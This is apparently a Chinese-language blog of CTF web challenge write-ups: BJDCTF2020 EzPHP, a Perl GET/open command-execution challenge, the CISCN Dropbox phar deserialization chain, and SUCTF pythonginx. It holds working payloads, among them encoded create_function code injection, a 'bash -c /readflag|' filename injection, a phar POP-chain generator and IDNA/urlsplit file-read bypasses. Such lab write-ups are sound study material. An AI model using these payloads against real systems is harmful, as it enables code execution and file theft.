BJDCTF2020_EzPHP1

主页提示栏base32解码获得真正的页面

image-20221201145312925

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file "1nD3x.php";
$shana $_GET['shana'];
$passwd $_GET['passwd'];
$arg '';
$code '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i'$_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i'$_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/'$_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i'$value))  
            die('fxck you! I hate English!'); 
    } 


if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD'$code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i'$arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
else { 
    include "flag.php";
    $code(''$arg); 
?>

好长好长啊!,来慢慢分析吧!

第一层

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

第一个判断,$_SERVER指的是用户的所有输入,包括$_GET,$_POST,$_COOKIE,这里判断过滤了大量的参数,但是可以利用url编码绕过。$_SERVER['QUERY_STRING']的值为请求的参数,测试内容如:image-20221201152432746

可见应该是判断了所有的get请求内容

第二层

1
2
3
4
5
6
7
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
}
else die('fxck you! What do you want to do ?!');

第二个判断应该是上来就过滤了远程文件包含,然后并且要求debu的值是从aqua_is_cute开始,以aqua_is_cute结尾,但debu的值不为aqua_is_cute,但preg_match在非/s模式下,会忽略末尾的%0a,因为可以用aqua_is_cute%0a来绕过(注意构造payload的时候需要url编码绕过过滤项)

第三层

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

第三个判断,理论上在这个判断中,任何get和post都不能有字符类型传参,但是,在$_REQUEST中,POST的优先度比GET高,如果同时出现POST[a]和GET[a],会优先判断POST[a]的值而忽略掉GET[a]。如下,就可以绕过这个判断

image-20221201152237060

第四层

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

这里很简单,data伪协议传参。data://text/plain,debu_debu_aqua

第五层

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

sha1数组绕过,这个也很简单,这里的extract($_GET["flag"]);会将传入的数组转化为对应的参数和他的值。

第六层

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

在这里,$code和$arg都没有赋值的方式,但是最后会执行$code('', $arg);而extract函数正好可以完成这个赋值过程,比如传入flag[code]=1&flag[arg]=1。

而再来看$code('', $arg);这个结构,可以使用create_function方式传入

1
2
3
4
$code = “return($a+$b);}eval($_POST['Saihara']);//”
$f=create_function('$a, $b', $code);
//相当于得到:
function f($a, $b){return $a+$b; } eval($_POST['Saihara']);//}

这里我们可以构造payload:$flag[code]=create_function,$flag[arg]=} var_dump(get_defined_vars());//来获取所有信息

于是结合前面几层,构造payload:

1
2
//GET请求
/1nD3x.php?file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61%5b%5d=1&%70%61%73%73%77%64%5b%5d=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=} var_dump(get_defined_vars());//
1
2
//POST请求
shana=1&passwd=1&debu=1&file=1

image-20221202130939674

可以看到信息(这个baka还是emm)

那么知道了真正flag的位置,那么

使用这个协议读取php://filter/read=convert.base64-encode/resource=rea1fl4g.php 取反 用require包含

1
2
3
4
//改一下GET请求
/1nD3x.php?file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%64ebu=%61qua_is_%63ute%0a&%73%68%61%6e%61%5b%5d=1&%70%61%73%73%77%64%5b%5d=2&%66%6c%61%67%5b%63%6f%64%65%5d=create_function&%66%6c%61%67%5b%61%72%67%5d=} require~(%8f%97%8f%c5%d0%d0%99%96%93%8b%9a%8d%d0%8d%9a%9e%9b%c2%9c%90%91%89%9a%8d%8b%d1%9d%9e%8c%9a%c9%cb%d2%9a%91%9c%90%9b%9a%d0%8d%9a%8c%90%8a%8d%9c%9a%c2%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f);//


image-20221202132020395

解码一下就得到答案。

Perl中open命令执行

今天做题的时候遇到了一道挺神奇的题,也算是第一次wp都看的二懂二懂的题(,学习之路上还是记录一下。

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
'这里是ip' <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}


echo $_SERVER["REMOTE_ADDR"];


$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);


$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

源码分析:

首先传入获取HTTP_X_FORWARDED_FOR的内容并以,分割为数组,取出首个值并输出,

即是我们看到的‘这里是ip’(不方便直接贴出来)。

然后创建了orange+ip的字符串的md5值为路径的文件夹并且将工作目录移动到该文件夹下。

接着通过escapeshellarg命令对get请求传参的内容进行GET命令执行 (即 GET xxxxxx)

后一段请求则是将get请求传入的filename的值记录为数组,这里顺便看一下pathinfo的定义

pathinfo

image-20221119201518027

image-20221119201549034

可以看到array内容的输出。

回到本题,将basename($info[“dirname”]中的.取出,并以此为路径创建文件夹并移动到对应工作目录中,最后进行一个写操作。流程都差不多了,看起来挺清晰的,那么这个GET,到底是什么东西呢?

GET命令

执行了GET /后看到,可以发现输出的类似于执行ls,但是格式是类似于html的格式

image-20221119203158630

执行GET ./文件名,发现可以读取文件。

img

那么我们构建如此的url,便可以执行相当于ls的效果

image-20221119204143927

image-20221119204218302

但是当我门读取flag的时候就会发现一片空白,而当我们读取readflag后,会自动下载文件,打开一看发现是ELF开头的二进制文件,说明我们要执行readflag来获取flag

image-20221119204432900

那么该怎么通过GET执行文件呢,我本来打算通过whereis GET的方式看看命令相关的内容,但没啥有帮助的信息,看别人wp说是在这里

/usr/share/perl5/LWP.pm下有相关内容,查看后发现

image-20221119205636543

GET命令是支持file请求的。

那我们再跟进,看看/usr/share/perl5/LWP/file.pm的内容是什么

OPEN方法

其中有读文件相关的内容,但是open文件以只读的形式打开文件

image-20221119210003441

然后就找不到更多的了,后来看别人说的是因为ubuntu18.04 已经修复此漏洞,导致这里多了个只读

修复前是这种:

1
2
3
4
5
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);

open函数使用,前提必须是目标文件存在才行

image-20221119211410718

所以我们要创建一个和我们要执行的命令相同的内容的文件名

解题

开始手操!

构造url: ?url=&filename=bash -c /readflag|

再执行url:?url=file:bash -c /readflag|&filename=Saihara

获得flag

image-20221119212146769

phar伪协议反序列化

phar伪协议序列化

编写phar反序列化脚本的时候,需要设置php.ini的phar.readonly为Off,并且去掉;,否则无法生成phar反序列化链

phar简介

PHAR(”PHP archive”)是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。

文件结构

a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

1

会触发phar伪协议反序列化的函数

既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

img

例子:[CISCN2019 华北赛区 Day1 Web1]Dropbox 1

简单的地方直接跳过,任意文件下载得到网页代码,重点关注这两个文件

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>

思路

直接跟着代码逻辑走,由于这里并没有反序列化触发点unserialize(),利用phar://伪协议进行触发反php函数的序列化操作。

image-20221111140410740

Filelist类中在创建时就会创建file类,获取所有上传的文件名,并且创建一个result的数组,该数组的key为文件名(basename获取的是路径中的文件名的一部分,并且会去掉非ASCII码值,如%ff)

image-20221111140302183

_call方法当调用不存在的方法时自动调用它,图中$func和$args是调用不存在方法时的参数,具体看官方文档

image-20221111142704207

第一个参数为调用这个不存在方法的方法名称

第二个参数为调用这个不存在方法的参数数组

image-20221111140302183

回到call方法中,为了能调用该方法,着手点在User类,他有销毁时自动调用的魔术方法 __destruct() {$this->db->close();},当db为FileList类的时候,由于没有close()方法便会调用call方法,此时$this->results[$file->name()][$func] = $file->$func();的result数组一维为文件名,二维为close(),value为File类的调用close()方法的结果(注意FileList类的__construct方法)**

image-20221111144804296

其中file_get_contents可以触发phar反序列化,通过filename得到任意文件读取,但是要输出,唯一输出点在__destruct方法中的htmlentities

image-20221111144952113

而触发__destruct方法在删除会触发,删除时也会进行一次filename的获取,所以可以在此利用phar伪协议。(貌似主页查看的时候也调用了__destruct方法,显示了文件的下载和删除键,但是应该是通过上传时调用basename函数无法写phar伪协议直接利用,本人没有在本地进行测试,太菜了)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class User {
public $db;
}
class File{
public $filename;
}
class FileList
{
private $files;

public function __construct()
{
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);

}
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db=new FileList();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

注意这个poc构造好后必须本地环境访问便可以在同一路径获得phar.phar文件,注意php.ini一定一定要进行开头提到的设置!!

image-20221111150817183

然后进行后缀改成jpg进行上传,因为phar伪协议不需要在意文件格式,直接解析为phar格式读取。

然后删除位置修改抓包,完毕。

image-20221111151000585

pythonginx

这道题主要涉及内容:

CVE-2019-9636:urlsplit不处理NFKC标准化问题

idna编码转码问题

进入主题:

1

上来就是源码,应该是要进行代码审计工作

进行代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")#?url=
host = parse.urlparse(url).hostname#获取url=后的域名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]#urlsplit分割成的第二个元素还是域名,第一个元素通常情况下是https:这种协议
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):#循环将host的内容以.为分割进行idna加密后再进行utf-8解密,最后再链接起来
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname#重复第一次判断的操作(进行过加密解密后的)
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl, timeout=2).read()#打开url链接
else:
return "我扌 your problem? 333"

那么可以分析得出,我们要上传get请求?url=并通过3次判断后进行打开url链接这个行为,然后进行恶意文件读取获取flag

唯一可以利用的点就是这host提取出来后的两次idna编码和utf-8解码

首先,不明白文件的路径,但题目名叫Pythonginx,应该指的是nginx的服务器

nginx 默认编译安装后,配置文件都会保存在 /usr/local/nginx/conf 目录下,在配置文件目录下,Nginx 默认的主配置文件是 nginx.conf,这也是 Nginx 唯一的默认配置入口

这道题有两种解:

第一种:利用idna编码utf-8解码产生的漏洞

先看例子:

1
2
3
4
a=b'c'
print(a)
c=a.decode('utf-8')
print(c)

输出结果为:

1
2
b'c'
c

造成这个原因是因为python的byte类型,会默认b开头的紧接’我是其他内容‘这种格式如b'c'为byte类型,当其进行utf-8解码后便只剩下了单引号里的内容,于是可以借此进行逃逸。

但我们并不知道什么字符进行idna编码后会转化为这种格式,所以要构造对应脚本进行运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse

def do():
for i in range(65536):
a=chr(i)
url="http://suctf.c"+a
try:
if getUrl(url):
print("str:"+a+" is answer!")
except:
pass

def getUrl(url):
url = url
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return False
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False


if __name__ == '__main__':
do()

结果如下

2

那么我们可以构造payload:

1
getUrl?url=file://suctf.cℂ/usr/local/nginx/conf/nginx.conf

得到结果

3

那么直接构造payload:getUrl?url=file://suctf.cℂ/usr/fffffflag就可以获取答案

4

第二种:有关不处理NFKC标准化问题

这个比较特殊,直接上例子:

1
2
3
4
5
6
7
8
9
10
11
b="file:////suctf.cc/usr/local/nginx/conf/nginx.conf"
print(urlsplit(b))
print(urlparse(urlunsplit(urlsplit(b))))

b="file:///suctf.cc/usr/local/nginx/conf/nginx.conf"
print(urlsplit(b))
print(urlparse(urlunsplit(urlsplit(b))))

b="http://1/suctf.cc/usr/local/nginx/conf/nginx.conf"
print(urlsplit(b))
print(urlparse(urlunsplit(urlsplit(b))))

每种结果:

6

5

7

在python里urlsplit方法中,可以看到,在获取scheme的时候,协议的//是会被自动去掉的,而后续的netloc和path的判断分别是依据/为结尾来的,也就是说当我们每进行一次urlsplit,url就会失去两个/,而由于我们构造的url为file:////形式,所以我们host获取的netloc值第一次为空,第二次为file:////后面的正常内容,对判断进行了逃逸。

其他操作相同,构造payload如下:file:////suctf.cc/usr/local/nginx/conf/nginx.conf

结果:

8

相关文章:

python中urlparse的方法

urlparse和urlsplit的的区别